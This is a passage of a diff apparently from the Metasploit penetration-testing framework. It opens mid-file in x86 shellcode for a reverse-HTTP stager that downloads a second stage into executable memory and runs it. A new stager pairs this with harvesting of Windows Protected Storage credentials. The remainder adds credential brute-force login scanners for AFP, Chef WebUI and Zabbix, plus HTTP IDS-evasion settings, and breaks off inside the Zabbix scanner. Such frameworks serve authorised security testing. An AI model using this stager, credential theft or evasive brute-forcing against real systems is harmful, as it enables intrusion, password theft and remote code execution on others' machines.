|
||||
jz failure
|
||||
jmp short httpsendrequest
|
||||
|
||||
dbl_get_server_host:
|
||||
jmp get_server_host
|
||||
|
||||
get_server_uri:
|
||||
call httpopenrequest
|
||||
|
||||
server_uri:
|
||||
db "/12345", 0x00
|
||||
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
|
||||
allocate_memory:
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (8Mb ought to do us)
|
||||
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
get_server_host:
|
||||
|
||||
;//////////////////////////////////
|
||||
;//get proxy credentials from stack
|
||||
;//////////////////////////////////
|
||||
get_proxy_auth:
|
||||
pop esi ; delete the top 3 stack elements as they are
|
||||
pop esi ; garbage from this block
|
||||
pop esi
|
||||
|
||||
pop ecx ; save pointer to password in ecx
|
||||
pop edx ; save pointer to username in edx
|
||||
;/////////////////////////////////////////////////
|
||||
; we use the credentials only in internetconnect//
|
||||
;/////////////////////////////////////////////////
|
||||
|
||||
call internetconnect
|
||||
|
||||
server_host:
|
||||
|
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
18
external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm
vendored
Normal file
|
@ -0,0 +1,18 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Windows Server 2003, IE Versions 4 to 6
|
||||
; Build: >build.py stager_reverse_http_proxy_pstore
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_get_pstore_creds.asm"
|
||||
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
|
||||
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
|
||||
|
|
@ -36,6 +36,7 @@ Feature: Help command
|
|||
pushm Pushes the active or list of modules onto the module stack
|
||||
quit Exit the console
|
||||
reload_all Reloads all modules from all defined module paths
|
||||
rename_job Rename a job
|
||||
resource Run the commands stored in a file
|
||||
route Route traffic through a session
|
||||
save Saves the active datastores
|
||||
|
|
|
@ -77,8 +77,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
#vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -87,8 +86,7 @@ module Metasploit
|
|||
when -5001 #kFPAuthContinue
|
||||
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
|
||||
:password => pass, :user => user})
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
#print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists")
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
return :skip_user
|
||||
else
|
||||
return :connection_error
|
||||
|
@ -123,8 +121,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -180,8 +177,7 @@ module Metasploit
|
|||
begin
|
||||
response = sock.timed_read(1024, self.login_timeout)
|
||||
rescue Timeout::Error
|
||||
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
|
||||
return :connection_error
|
||||
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
|
||||
end
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
|
@ -201,7 +197,7 @@ module Metasploit
|
|||
parsed_data = {}
|
||||
|
||||
flags, command, request_id, error_code, length, reserved = parse_header(response)
|
||||
raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0
|
||||
raise RuntimeError, "AFP Server response with error" if error_code != 0
|
||||
body = get_body(response, length)
|
||||
machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags =
|
||||
body.unpack('nnnnn')
|
||||
|
@ -243,7 +239,7 @@ module Metasploit
|
|||
|
||||
def get_body(packet, body_length)
|
||||
body = packet[16..body_length + 15]
|
||||
raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length
|
||||
raise RuntimeError, "AFP Invalid body length" if body.length != body_length
|
||||
return body
|
||||
end
|
||||
|
||||
|
@ -291,7 +287,7 @@ module Metasploit
|
|||
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
|
||||
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
|
||||
else # Something wrong?
|
||||
raise "Error parsing network addresses"
|
||||
raise RuntimeError, "Error parsing network addresses"
|
||||
end
|
||||
end
|
||||
return parsed_addreses
|
||||
|
|
|
@ -31,7 +31,12 @@ module Metasploit
|
|||
rescue Rex::ConnectionError, EOFError, Timeout::Error
|
||||
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
else
|
||||
success = login(credential.public, credential.private)
|
||||
begin
|
||||
success = login(credential.public, credential.private)
|
||||
rescue RuntimeError => e
|
||||
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
|
||||
end
|
||||
|
||||
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
||||
|
|
|
@ -17,10 +17,10 @@ module Metasploit
|
|||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
configure_http_client(http_client)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
|
|
@ -34,7 +34,8 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
|
|
|
@ -0,0 +1,144 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
|
||||
class ChefWebUI < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# @!attribute session_name
|
||||
# @return [String] Cookie name for session_id
|
||||
attr_accessor :session_name
|
||||
|
||||
# @!attribute session_id
|
||||
# @return [String] Cookie value
|
||||
attr_accessor :session_id
|
||||
|
||||
# Decides which login routine and returns the results
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
return "Connection failed" if res.nil?
|
||||
|
||||
if res.code != 200
|
||||
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /<title>Chef Server<\/title>/
|
||||
return "Unexpected HTTP body (is this really Chef WebUI?)"
|
||||
end
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Save the session ID cookie
|
||||
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
|
||||
self.session_name = $1
|
||||
self.session_id = $2
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def try_credential(csrf_token, credential)
|
||||
|
||||
data = "utf8=%E2%9C%93" # ✓
|
||||
data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
|
||||
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
|
||||
data << "&commit=login"
|
||||
|
||||
opts = {
|
||||
'uri' => normalize_uri('/users/login_exec'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
|
||||
send_request(opts)
|
||||
end
|
||||
|
||||
|
||||
# Tries to login to Chef WebUI
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def try_login(credential)
|
||||
|
||||
# Obtain a CSRF token first
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
|
||||
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
|
||||
end
|
||||
|
||||
csrf_token = $1
|
||||
|
||||
res = try_credential(csrf_token, credential)
|
||||
if res && res.code == 302
|
||||
opts = {
|
||||
'uri' => normalize_uri("/users/#{credential.public}/edit"),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
res = send_request(opts)
|
||||
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
|
||||
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
end
|
||||
|
||||
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -61,7 +61,8 @@ module Metasploit
|
|||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
|
|
@ -37,6 +37,122 @@ module Metasploit
|
|||
# @return [String] the Virtual Host name for the target Web Server
|
||||
attr_accessor :vhost
|
||||
|
||||
# @!attribute evade_uri_encode_mode
|
||||
# @return [String] The type of URI encoding to use
|
||||
attr_accessor :evade_uri_encode_mode
|
||||
|
||||
# @!attribute evade_uri_full_url
|
||||
# @return [Boolean] Whether to use the full URL for all HTTP requests
|
||||
attr_accessor :evade_uri_full_url
|
||||
|
||||
# @!attribute evade_pad_method_uri_count
|
||||
# @return [Fixnum] How many whitespace characters to use between the method and uri
|
||||
attr_accessor :evade_pad_method_uri_count
|
||||
|
||||
# @!attribute evade_pad_uri_version_count
|
||||
# @return [Fixnum] How many whitespace characters to use between the uri and version
|
||||
attr_accessor :evade_pad_uri_version_count
|
||||
|
||||
# @!attribute evade_pad_method_uri_type
|
||||
# @return [String] What type of whitespace to use between the method and uri
|
||||
attr_accessor :evade_pad_method_uri_type
|
||||
|
||||
# @!attribute evade_pad_uri_version_type
|
||||
# @return [String] What type of whitespace to use between the uri and version
|
||||
attr_accessor :evade_pad_uri_version_type
|
||||
|
||||
# @!attribute evade_method_random_valid
|
||||
# @return [Boolean] Whether to use a random, but valid, HTTP method for request
|
||||
attr_accessor :evade_method_random_valid
|
||||
|
||||
# @!attribute evade_method_random_invalid
|
||||
# @return [Boolean] Whether to use a random invalid, HTTP method for request
|
||||
attr_accessor :evade_method_random_invalid
|
||||
|
||||
# @!attribute evade_method_random_case
|
||||
# @return [Boolean] Whether to use random casing for the HTTP method
|
||||
attr_accessor :evade_method_random_case
|
||||
|
||||
# @!attribute evade_uri_dir_self_reference
|
||||
# @return [Boolean] Whether to insert self-referential directories into the uri
|
||||
attr_accessor :evade_uri_dir_self_reference
|
||||
|
||||
# @!attribute evade_uri_dir_fake_relative
|
||||
# @return [Boolean] Whether to insert fake relative directories into the uri
|
||||
attr_accessor :evade_uri_dir_fake_relative
|
||||
|
||||
# @!attribute evade_uri_use_backslashes
|
||||
# @return [Boolean] Whether to use back slashes instead of forward slashes in the uri
|
||||
attr_accessor :evade_uri_use_backslashes
|
||||
|
||||
# @!attribute evade_pad_fake_headers
|
||||
# @return [Boolean] Whether to insert random, fake headers into the HTTP request
|
||||
attr_accessor :evade_pad_fake_headers
|
||||
|
||||
# @!attribute evade_pad_fake_headers_count
|
||||
# @return [Fixnum] How many fake headers to insert into the HTTP request
|
||||
attr_accessor :evade_pad_fake_headers_count
|
||||
|
||||
# @!attribute evade_pad_get_params
|
||||
# @return [Boolean] Whether to insert random, fake query string variables into the request
|
||||
attr_accessor :evade_pad_get_params
|
||||
|
||||
# @!attribute evade_pad_get_params_count
|
||||
# @return [Fixnum] How many fake query string variables to insert into the request
|
||||
attr_accessor :evade_pad_get_params_count
|
||||
|
||||
# @!attribute evade_pad_post_params
|
||||
# @return [Boolean] Whether to insert random, fake post variables into the request
|
||||
attr_accessor :evade_pad_post_params
|
||||
|
||||
# @!attribute evade_pad_post_params_count
|
||||
# @return [Fixnum] How many fake post variables to insert into the request
|
||||
attr_accessor :evade_pad_post_params_count
|
||||
|
||||
# @!attribute evade_uri_fake_end
|
||||
# @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../)
|
||||
attr_accessor :evade_uri_fake_end
|
||||
|
||||
# @!attribute evade_uri_fake_params_start
|
||||
# @return [Boolean] Whether to add a fake start of params to the URI (eg: /%3fa=b/../)
|
||||
attr_accessor :evade_uri_fake_params_start
|
||||
|
||||
# @!attribute evade_header_folding
|
||||
# @return [Boolean] Whether to enable folding of HTTP headers
|
||||
attr_accessor :evade_header_folding
|
||||
|
||||
# @!attribute ntlm_use_ntlmv2_session
|
||||
# @return [Boolean] Whether to activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
|
||||
attr_accessor :ntlm_use_ntlmv2_session
|
||||
|
||||
# @!attribute ntlm_use_ntlmv2
|
||||
# @return [Boolean] Whether to use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' is enabled
|
||||
attr_accessor :ntlm_use_ntlmv2
|
||||
|
||||
# @!attribute ntlm_send_lm
|
||||
# @return [Boolean] Whether to always send the LANMAN response (except when NTLMv2_session is specified)
|
||||
attr_accessor :ntlm_send_lm
|
||||
|
||||
# @!attribute ntlm_send_ntlm
|
||||
# @return [Boolean] Whether to activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
|
||||
attr_accessor :ntlm_send_ntlm
|
||||
|
||||
# @!attribute ntlm_send_spn
|
||||
# @return [Boolean] Whether to send an avp of type SPN in the NTLMv2 client blob.
|
||||
attr_accessor :ntlm_send_spn
|
||||
|
||||
# @!attribute ntlm_use_lm_key
|
||||
# @return [Boolean] Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
|
||||
attr_accessor :ntlm_use_lm_key
|
||||
|
||||
# @!attribute ntlm_domain
|
||||
# @return [String] The NTLM domain to use during authentication
|
||||
attr_accessor :ntlm_domain
|
||||
|
||||
# @!attribute digest_auth_iis
|
||||
# @return [Boolean] Whether to conform to IIS digest authentication mode.
|
||||
attr_accessor :digest_auth_iis
|
||||
|
||||
|
||||
validates :uri, presence: true, length: { minimum: 1 }
|
||||
|
||||
|
@ -47,7 +163,7 @@ module Metasploit
|
|||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
request = http_client.request_cgi(
|
||||
'uri' => uri,
|
||||
|
@ -55,7 +171,7 @@ module Metasploit
|
|||
)
|
||||
|
||||
begin
|
||||
# Use _send_recv instead of send_recv to skip automatiu
|
||||
# Use _send_recv instead of send_recv to skip automatic
|
||||
# authentication
|
||||
response = http_client._send_recv(request)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
|
@ -77,7 +193,6 @@ module Metasploit
|
|||
# login with.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
ssl = false if ssl.nil?
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
@ -95,11 +210,11 @@ module Metasploit
|
|||
end
|
||||
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version,
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
|
||||
proxies, credential.public, credential.private
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
configure_http_client(http_client)
|
||||
|
||||
if credential.realm
|
||||
http_client.set_config('domain' => credential.realm)
|
||||
|
@ -127,12 +242,53 @@ module Metasploit
|
|||
|
||||
private
|
||||
|
||||
def config_client(client)
|
||||
client.set_config(
|
||||
'vhost' => vhost || host,
|
||||
'agent' => user_agent
|
||||
# This method is responsible for mapping the caller's datastore options to the
|
||||
# Rex::Proto::Http::Client configuration parameters.
|
||||
def configure_http_client(http_client)
|
||||
http_client.set_config(
|
||||
'vhost' => vhost || host,
|
||||
'agent' => user_agent
|
||||
)
|
||||
client
|
||||
|
||||
possible_params = {
|
||||
'uri_encode_mode' => evade_uri_encode_mode,
|
||||
'uri_full_url' => evade_uri_full_url,
|
||||
'pad_method_uri_count' => evade_pad_method_uri_count,
|
||||
'pad_uri_version_count' => evade_pad_uri_version_count,
|
||||
'pad_method_uri_type' => evade_pad_method_uri_type,
|
||||
'pad_uri_version_type' => evade_pad_uri_version_type,
|
||||
'method_random_valid' => evade_method_random_valid,
|
||||
'method_random_invalid' => evade_method_random_invalid,
|
||||
'method_random_case' => evade_method_random_case,
|
||||
'uri_dir_self_reference' => evade_uri_dir_self_reference,
|
||||
'uri_dir_fake_relative' => evade_uri_dir_fake_relative,
|
||||
'uri_use_backslashes' => evade_uri_use_backslashes,
|
||||
'pad_fake_headers' => evade_pad_fake_headers,
|
||||
'pad_fake_headers_count' => evade_pad_fake_headers_count,
|
||||
'pad_get_params' => evade_pad_get_params,
|
||||
'pad_get_params_count' => evade_pad_get_params_count,
|
||||
'pad_post_params' => evade_pad_post_params,
|
||||
'pad_post_params_count' => evade_pad_post_params_count,
|
||||
'uri_fake_end' => evade_uri_fake_end,
|
||||
'uri_fake_params_start' => evade_uri_fake_params_start,
|
||||
'header_folding' => evade_header_folding,
|
||||
'usentlm2_session' => ntlm_use_ntlmv2_session,
|
||||
'use_ntlmv2' => ntlm_use_ntlmv2,
|
||||
'send_lm' => ntlm_send_lm,
|
||||
'send_ntlm' => ntlm_send_ntlm,
|
||||
'SendSPN' => ntlm_send_spn,
|
||||
'UseLMKey' => ntlm_use_lm_key,
|
||||
'domain' => ntlm_domain,
|
||||
'DigestAuthIIS' => digest_auth_iis
|
||||
}
|
||||
|
||||
# Set the parameter only if it is not nil
|
||||
possible_params.each_pair do |k,v|
|
||||
next if v.nil?
|
||||
http_client.set_config(k => v)
|
||||
end
|
||||
|
||||
http_client
|
||||
end
|
||||
|
||||
# This method sets the sane defaults for things
|
||||
|
@ -157,9 +313,21 @@ module Metasploit
|
|||
self.ssl = true
|
||||
end
|
||||
|
||||
if self.ssl.nil?
|
||||
self.ssl = false
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Combine the base URI with the target URI in a sane fashion
|
||||
#
|
||||
# @param [String] The target URL
|
||||
# @return [String] the final URL mapped against the base
|
||||
def normalize_uri(target_uri)
|
||||
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,10 +10,9 @@ module Metasploit
|
|||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
configure_http_client(http_client)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
|
|
@ -33,7 +33,8 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
|
|
|
@ -35,7 +35,8 @@ module Metasploit
|
|||
begin
|
||||
cred = Rex::Text.uri_encode(credential.private)
|
||||
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi(
|
||||
'method' => method,
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit
|
|||
|
||||
req_opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => '/proxy/ssllogin',
|
||||
'uri' => uri,
|
||||
'vars_post' => {
|
||||
'redirecturl' => '',
|
||||
'redirectquerystring' => '',
|
||||
|
@ -33,7 +33,8 @@ module Metasploit
|
|||
res = nil
|
||||
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi(req_opts)
|
||||
res = cli.send_recv(req)
|
||||
|
|
|
@ -10,8 +10,9 @@ module Metasploit
|
|||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
configure_http_client(http_client)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
|
|
@ -0,0 +1,137 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# The Zabbix HTTP LoginScanner class provides methods to do login routines
|
||||
# for Zabbix 2.4 and 2.2
|
||||
class Zabbix < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# @!attribute version
|
||||
# @return [String] Product version
|
||||
attr_accessor :version
|
||||
|
||||
# @!attribute zsession
|
||||
# @return [String] Cookie session
|
||||
attr_accessor :zsession
|
||||
|
||||
# Decides which login routine and returns the results
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => normalize_uri('/')})
|
||||
return "Connection failed" if res.nil?
|
||||
|
||||
if res.code != 200
|
||||
return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)"
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m
|
||||
return "Unexpected HTTP body (is this really Zabbix?)"
|
||||
end
|
||||
|
||||
self.version = $1
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Found a cookie? Set it. We're going to need it.
|
||||
if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i
|
||||
self.zsession = $1
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def try_credential(credential)
|
||||
|
||||
data = "request="
|
||||
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
|
||||
data << "&autologin=1"
|
||||
data << "&enter=Sign%20in"
|
||||
|
||||
opts = {
|
||||
'uri' => normalize_uri('index.php'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded'
|
||||
}
|
||||
}
|
||||
|
||||
send_request(opts)
|
||||
end
|
||||
|
||||
|
||||
# Tries to login to Zabbix
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def try_login(credential)
|
||||
res = try_credential(credential)
|
||||
if res && res.code == 302
|
||||
opts = {
|
||||
'uri' => normalize_uri('profile.php'),
|
||||
'method' => 'GET',
|
||||
